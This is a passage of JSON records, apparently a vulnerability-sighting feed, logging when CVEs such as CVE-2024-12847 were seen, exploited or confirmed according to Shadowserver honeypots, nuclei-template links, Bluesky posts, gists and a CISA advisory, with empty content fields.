"vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-02)", "content": "", "creation_timestamp": "2026-04-02T00:00:00.000000Z"}, {"uuid": "092a1f8c-c71e-457e-a303-a09a119fbb74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-1234", "type": "seen", "source": "https://gist.github.com/allan-gar2x/1de8a0db406b1b36cdc364fa96d2c93b", "content": "", "creation_timestamp": "2026-04-15T10:12:38.000000Z"}, {"uuid": "814aabd0-ed05-4ec6-a174-e4926acffa99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-1234", "type": "seen", "source": "https://gist.github.com/allan-gar2x/9fba3a5260416b87679023ab2384d446", "content": "", "creation_timestamp": "2026-04-15T10:38:50.000000Z"}, {"uuid": "d52254e7-46c2-4462-ba35-2418f52a0088", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-03)", "content": "", "creation_timestamp": "2026-04-03T00:00:00.000000Z"}, {"uuid": "f1c34a35-a142-493e-af20-4f7bebb469c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-04)", "content": "", "creation_timestamp": "2026-04-04T00:00:00.000000Z"}, {"uuid": "e607aef1-2792-45d4-b2b0-036d306107d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-04)", "content": "", "creation_timestamp": "2026-04-04T00:00:00.000000Z"}, {"uuid": "49887299-b3b5-452a-9420-916d5d7640fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12878", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2024/CVE-2024-12878.yaml", "content": "", "creation_timestamp": "2026-02-11T12:41:17.000000Z"}, {"uuid": "61a118da-9055-4fd4-adb9-74b351f523f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-12)", "content": "", "creation_timestamp": "2026-02-12T00:00:00.000000Z"}, {"uuid": "d82a87f6-9cd3-495d-8936-df8d80713d2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-07)", "content": "", "creation_timestamp": "2026-02-07T00:00:00.000000Z"}, {"uuid": "c00929ab-d5a9-4ca5-8203-dbebf74361fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-15)", "content": "", "creation_timestamp": "2026-02-15T00:00:00.000000Z"}, {"uuid": "0c815d39-5105-42c8-ab3e-11f9dd8c7f22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-10)", "content": "", "creation_timestamp": "2026-02-10T00:00:00.000000Z"}, {"uuid": "6010800a-e391-44cd-b8c3-a007a5c7e22b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12877", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3mejue7qywc2c", "content": "", "creation_timestamp": "2026-02-10T21:02:57.948705Z"}, {"uuid": "40efe9b3-cb30-46c8-a0d9-3d9d26cb2ae8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12718", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-043-06", "content": "", "creation_timestamp": "2026-02-12T11:00:00.000000Z"}, {"uuid": "40a50d49-e8f3-47f9-9ab2-62830a6e4508", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-09)", "content": "", "creation_timestamp": "2026-02-09T00:00:00.000000Z"}, {"uuid": "554ff11f-6521-4636-9fcd-ea6305b0281e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12734", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2024/CVE-2024-12734.yaml", "content": "", "creation_timestamp": "2026-02-05T04:57:35.000000Z"}, {"uuid": "ada96e4a-6932-4f99-b12e-94e47e08560c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-15)", "content": "", "creation_timestamp": "2026-02-15T00:00:00.000000Z"}, {"uuid": "26c629d4-131a-45c7-b5cc-632bd3bd93d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12732", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2024/CVE-2024-12732.yaml", "content": "", "creation_timestamp": "2026-02-07T03:22:12.000000Z"}, {"uuid": "40dcaf39-b8e1-4c6e-80e3-e36fcc904039", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-16)", "content": "", "creation_timestamp": "2026-02-16T00:00:00.000000Z"}, {"uuid": "51195d1e-e5c1-4549-8531-39fe56af3f76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12585", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3meovccxtun2k", "content": "", "creation_timestamp": "2026-02-12T21:03:15.071148Z"}, {"uuid": "6555cfda-7fd1-4990-bbc1-e9f78a66df8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12638", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3meovcd2d3t24", "content": "", "creation_timestamp": "2026-02-12T21:03:15.623962Z"}, {"uuid": "dcb38536-4db8-4351-9e2a-cc9f0a9cf47e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12737", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3meovcd4tzn2k", "content": "", "creation_timestamp": "2026-02-12T21:03:16.241907Z"}, {"uuid": "271d1d39-d00e-4e05-8b27-80a3a647ba8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-09)", "content": "", "creation_timestamp": "2026-02-09T00:00:00.000000Z"}, {"uuid": "75e5cd6c-8ec5-46c3-bfaf-394d5c23941a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12749", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3meovcd7cur2q", "content": "", "creation_timestamp": "2026-02-12T21:03:16.809587Z"}, {"uuid": "a292a231-00b4-4657-af29-b69f7687833e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12878", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3meovcdbtcz2i", "content": "", "creation_timestamp": "2026-02-12T21:03:17.412297Z"}, {"uuid": "c9d27f55-cf60-435b-a009-eee581f6ec49", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-06)", "content": "", "creation_timestamp": "2026-02-06T00:00:00.000000Z"}, {"uuid": "257df72e-646c-470a-86e4-7a543faab461", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-16)", "content": "", "creation_timestamp": "2026-02-16T00:00:00.000000Z"}, {"uuid": "3d3edfad-2661-4f2e-85e7-bad9a85bed92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12737", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2024/CVE-2024-12737.yaml", "content": "", "creation_timestamp": "2026-02-11T14:53:32.000000Z"}, {"uuid": "f157f036-4f9f-4a6c-9635-7f1f8fe0636a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12345", "type": "seen", "source": "https://gist.github.com/ayoubzulfiqar/5b320151951fbdba0fb72a578f7b57ef", "content": "", "creation_timestamp": "2026-02-12T09:05:29.000000Z"}, {"uuid": "9787ccd8-59da-4b26-92da-e0fd6587cc8c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12724", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2024/CVE-2024-12724.yaml", "content": "", "creation_timestamp": "2026-02-06T16:21:41.000000Z"}, {"uuid": "f55b1087-6708-4b2a-a5b7-b22dc095e9aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-11)", "content": "", "creation_timestamp": "2026-02-11T00:00:00.000000Z"}, {"uuid": "fd484e87-6886-4250-95be-c9a8126315d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-16)", "content": "", "creation_timestamp": "2026-02-16T00:00:00.000000Z"}, {"uuid": "1f89a2a6-51ff-4b48-aea9-3fde5e8da686", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-14)", "content": "", "creation_timestamp": "2026-02-14T00:00:00.000000Z"}, {"uuid": "162cec8f-abab-438f-b0d1-8f154affa8ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-06)", "content": "", "creation_timestamp": "2026-02-06T00:00:00.000000Z"}, {"uuid": "24df1378-4ada-4b31-9ec8-25b0a07e7518", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12873", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2024/CVE-2024-12873.yaml", "content": "", "creation_timestamp": "2026-02-06T15:51:26.000000Z"}, {"uuid": "f1f593be-3aa3-433b-bc05-aa493ea09697", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-11)", "content": "", "creation_timestamp": "2026-02-11T00:00:00.000000Z"}, {"uuid": "824f36a6-7e55-482b-9dc0-3c6908f85262", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-14)", "content": "", "creation_timestamp": "2026-02-14T00:00:00.000000Z"}, {"uuid": "55155e37-2a69-4ed0-aaeb-abb806397567", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-08)", "content": "", "creation_timestamp": "2026-02-08T00:00:00.000000Z"}, {"uuid": "eaf8919e-d0ad-4a5a-a274-679ac7b39bd0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-13)", "content": "", "creation_timestamp": "2026-02-13T00:00:00.000000Z"}, {"uuid": "171526f6-eca9-4c43-bef6-8412f1ce21a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12734", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3meccxheos72i", "content": "", "creation_timestamp": "2026-02-07T21:02:56.868495Z"}, {"uuid": "2a0a4ccb-ba64-46f9-b074-2229e7c96228", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-12)", "content": "", "creation_timestamp": "2026-02-12T00:00:00.000000Z"}, {"uuid": "a50f4ac4-928d-4731-a927-18bdb163600a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-13)", "content": "", "creation_timestamp": "2026-02-13T00:00:00.000000Z"}, {"uuid": "06d3fd42-ef6a-4732-96a8-616daf99fc4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-1234", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3mfdedpwzf52x", "content": "", "creation_timestamp": "2026-02-21T00:25:33.830547Z"}, {"uuid": "0932a0a9-98e7-4369-9ee7-1a7038d2425e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-1234", "type": "seen", "source": "https://gist.github.com/aurixai-solutions/313b026594574c70a22f8d72ef7c665b", "content": "", "creation_timestamp": "2026-02-21T06:48:02.000000Z"}, {"uuid": "79d48e79-edda-47ff-bef2-f9dea3f0de80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-1234", "type": "seen", "source": "https://gist.github.com/gal-dahan-wiz/13c8354a0ad368d7f2c33206cf8c925d", "content": "", "creation_timestamp": "2026-02-26T14:47:40.000000Z"}, {"uuid": "51983c94-d93d-443c-a31e-c0092b361d72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12345", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3mftp4jriqm2z", "content": "", "creation_timestamp": "2026-02-27T12:20:59.145215Z"}, {"uuid": "53d785cc-487d-4d42-b644-b4eafcacaa33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12652", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mg3rabsjmi2a", "content": "", "creation_timestamp": "2026-03-02T17:20:10.609630Z"}, {"uuid": "ff00f81d-c9bf-40bb-8492-be003e3c28ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-05)", "content": "", "creation_timestamp": "2026-04-05T00:00:00.000000Z"}, {"uuid": "36dc0abc-9a34-4ca4-955e-96a4cbe43567", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12345", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mjnfn3w3d72u", "content": "", "creation_timestamp": "2026-04-16T21:56:11.069550Z"}, {"uuid": "ca96f955-4893-46c5-a153-de0fc0f2ab6c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-29)", "content": "", "creation_timestamp": "2026-03-29T00:00:00.000000Z"}, {"uuid": "9d41bc62-d9a0-454c-a352-7ab79ed03d5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-22)", "content": "", "creation_timestamp": "2026-02-22T00:00:00.000000Z"}, {"uuid": "78407101-baba-4586-bcd8-bdecf2a856f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-23)", "content": "", "creation_timestamp": "2026-02-23T00:00:00.000000Z"}, {"uuid": "d7e33045-d7af-40d9-b53f-692f95734956", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-27)", "content": "", "creation_timestamp": "2026-02-27T00:00:00.000000Z"}, {"uuid": "42f53ab5-7e1f-4dba-a60e-4f015abb40d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-04)", "content": "", "creation_timestamp": "2026-03-04T00:00:00.000000Z"}, {"uuid": "8dec9c57-de34-43c2-91b5-36f6b62681e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-25)", "content": "", "creation_timestamp": "2026-02-25T00:00:00.000000Z"}, {"uuid": "22c288f9-7f5a-4411-9fd3-bb380137a3e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-23)", "content": "", "creation_timestamp": "2026-02-23T00:00:00.000000Z"}, {"uuid": "0155c0cf-8062-4770-a524-7207ecc3d247", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-01)", "content": "", "creation_timestamp": "2026-03-01T00:00:00.000000Z"}, {"uuid": "3ab9aa72-26c3-4033-be36-48d2aceaf4cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-04)", "content": "", "creation_timestamp": "2026-03-04T00:00:00.000000Z"}, {"uuid": "88ba1a7c-e81e-422c-af3d-15accbfe6101", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-22)", "content": "", "creation_timestamp": "2026-02-22T00:00:00.000000Z"}, {"uuid": "6d64a78e-10bf-4265-bcb7-1090b92d4a00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-23)", "content": "", "creation_timestamp": "2026-02-23T00:00:00.000000Z"}, {"uuid": "583e5676-0565-44de-83e6-abf3c5efb40d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-03)", "content": "", "creation_timestamp": "2026-03-03T00:00:00.000000Z"}, {"uuid": "fa102466-b918-4a19-aadb-8ee39abbd1e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-17)", "content": "", "creation_timestamp": "2026-02-17T00:00:00.000000Z"}, {"uuid": "ca518771-030d-45f8-bf4c-6c188293ee7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-08)", "content": "", "creation_timestamp": "2026-03-08T00:00:00.000000Z"}, {"uuid": "d3ed4ae6-5b99-44d1-8586-75de096e1a18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-09)", "content": "", "creation_timestamp": "2026-03-09T00:00:00.000000Z"}, {"uuid": "d3be6741-f59d-4e59-8fd4-d510bccd1356", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-03)", "content": "", "creation_timestamp": "2026-03-03T00:00:00.000000Z"}, {"uuid": "eb10f353-1ca7-43b3-a0ff-9f69ad646bcf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-17)", "content": "", "creation_timestamp": "2026-02-17T00:00:00.000000Z"}, {"uuid": "accedacd-6a04-4d17-b699-3d5a91184968", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-21)", "content": "", "creation_timestamp": "2026-02-21T00:00:00.000000Z"}, {"uuid": "244caea9-cbb3-43ab-aff6-bbc7b69faac8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-02)", "content": "", "creation_timestamp": "2026-03-02T00:00:00.000000Z"}, {"uuid": "c1d26e21-0edd-40b5-a46b-7883068660be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-24)", "content": "", "creation_timestamp": "2026-02-24T00:00:00.000000Z"}, {"uuid": "9a402c7a-8ded-4666-a10c-e8b3960af6d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-06)", "content": "", "creation_timestamp": "2026-03-06T00:00:00.000000Z"}, {"uuid": "d247c19a-416f-47d5-9bf1-0e8cb418fa90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-21)", "content": "", "creation_timestamp": "2026-02-21T00:00:00.000000Z"}, {"uuid": "dcdbf12d-8760-4f66-b132-a37912eb840a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-26)", "content": "", "creation_timestamp": "2026-02-26T00:00:00.000000Z"}, {"uuid": "45829699-0bf8-4a26-953b-245cfff3c32f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-18)", "content": "", "creation_timestamp": "2026-02-18T00:00:00.000000Z"}, {"uuid": "9949ae36-66a6-4f72-bd3c-a98c39da380d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-24)", "content": "", "creation_timestamp": "2026-02-24T00:00:00.000000Z"}, {"uuid": "bffee5bf-d31d-41af-abb8-394775a453f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 